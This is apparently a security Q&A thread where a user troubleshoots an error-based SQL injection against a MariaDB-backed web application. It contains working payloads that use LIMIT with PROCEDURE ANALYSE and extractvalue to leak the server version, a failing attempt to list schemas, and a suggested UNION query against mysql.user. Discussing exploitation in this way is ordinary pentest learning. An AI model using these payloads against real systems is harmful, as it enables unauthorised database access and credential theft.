1

I've recently found a SQL-injection vulnerability in one of our web applications. I've been able to exploit this SQLi, but only able to extract some very basic information. I'm not an expert pentester or SQL-master but this intrigues me and I would like to know what I'm doing wrong.

Baseline: this is a valid input {"limit":"1"} and is what the system expects to receive.

When I inject the limit-parameter with the following:

{"limit":"1 procedure analyse(extractvalue(rand(),concat(0x3a,@@version)),1)-- 1"}

I get:

"XPATH syntax error: ':10.0.30-MariaDB-0+deb8u2'"

Here is the complete query for this injection:

SELECT page_id FROM light_pages WHERE page_language_id = '3' ORDER BY page_date_modified DESC LIMIT 1 procedure analyse(extractvalue(rand(),concat(0x3a,@@version)),1)-- 1

So... the above injection works and I can read the database version, hostname etc etc. However, as soon as I try to extract information from tables in the database, I run into SQL-errors all the time and I cannot figure out why.

Example:

{"limit":"1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))),1)-- 1"}

I get:

"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_nam' at line 3"

Complete query:

SELECT page_id FROM light_pages WHERE page_language_id = '3' ORDER BY page_date_modified DESC LIMIT 1 procedure analyse(extractvalue(rand(),concat(0x3a,procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))),1)-— 1

I'd really appreciate any help or suggestions!

  • have you tried using SQL map? – MikeSchem Jan 17 at 20:39
  • Yes, I've tried SQLmap and it is not able to exploit or even detect the injection. However, to be able to exploit the vulnerability, the user needs to be authenticated and this might be what causes the issue with SQLmap even though it's configured to run with cookie and access the parameter. – Specop Jan 18 at 11:19
  • What I normally do for authentication protected attacks is get the entire plain text from an HTTP request so that if the server looks for same browser as well as same cookie, it won't be a problem. I also will use telnet to do a test of the HTTP request at the server to make sure it gives a response as expected from an authenticated user. – MikeSchem Jan 18 at 17:22
0

When exploiting SQLi, I personally start with as simple query as possible and go one step further with every request. So I would start with

SELECT 1
SELECT 4-2
SELECT 'a'
SELECT concat('a','b')

And so on. This way you will know exactly which part of your payload needs to be fixed: encoding, quotes, db specific syntax and lenght limitation are a few from the top of my head.

0

I'm not very familiar with MariaDB but i don't think you want to use procedure and analyze if you are trying to pull in results from other tables. That's attempting to generate an explain plan. That approach seems to be using the syntax error as the conduit to retrieve the version value.

I don't have an easy way to test this but you could try doing something along the lines of this:

{"limit":"1 UNION select id from mysql.user"}

Since you know the actual SQL statement, try taking that and try running it against the database directly with various additions to see what is valid. I doubt you will be able to insert between LIMIT and it's parameter and have that be valid syntax.

  • Thank you for your advice. I've tried using a UNION statement before and it always results in an error telling me #1221 - Incorrect usage of UNION and ORDER BY . Since the statement contains the ORDER BY before the injection-point, we cannot use UNION. That is partly the reason for me using procedure and analyze. See this blog post: edwardl.xyz/2015/02/06/… – Specop Jan 18 at 11:37
  • I'm not able to reach that blog but I figured that might happen. I'm pretty sure you aren't going to be able to get any results by running an explain plan. It might be that you can only get information through error messages with this construction. You could do a UNION if the select was in parentheses but I'm not seeing an obvious way to make that happen with this query. – JimmyJames Jan 18 at 15:46

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.